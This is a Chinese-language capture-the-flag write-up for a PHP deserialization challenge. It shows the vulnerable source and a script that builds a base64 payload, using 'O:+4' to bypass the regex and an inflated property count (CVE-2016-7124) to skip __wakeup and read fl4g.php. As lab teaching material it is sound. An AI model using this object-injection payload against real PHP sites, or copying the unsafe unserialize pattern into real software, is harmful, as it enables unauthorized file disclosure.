WEB_PHP_UNSERIALIZE
》题目源码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
》解题过程
flag 在 fl4g.php中,通过 $var 传参,需满足以下条件:
1.先进行base64加密
2.preg_match()匹配绕过
3.unserialize() 反序列化执行_wakeup()的绕过
构造脚本如下:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$C = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump($C);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($C));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
思考总结(CVE-2016-7124)
第二条分析语句:
正则想要匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写
将题中所给的类进行序列化,可得:
"O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
正则匹配的就是 O:4 ,在这里我们将4改为+4即可绕过
第三条分析语句:
类在反序列化后会执行__wakeup()将file的值修改导致文件读取失败
此处把序列化语句中的1替换成2(CVE-2016-7124),即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。得到:
"O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
注:在php中反序号化相当于字符串转换成变量的过程。也就是说被序列化的类实例经过反序列化后仍然会生成为一个新的实例,且会默认执行其中_wakeup函数 ,而在实例销毁后会执行__destruct函数。
PS:在序列化私有变量时,形成的序列化字符串与公共变量变量的序列化字符串不一样。
例如:上述的file变量在实际中下会生成:
"O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}"
注意这里的Demo file 前面个有一个空格,如果在url中直接输入序列化字符串需要将空格转换成%00即构造:
"O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}"
否则会出现变量不对应的问题。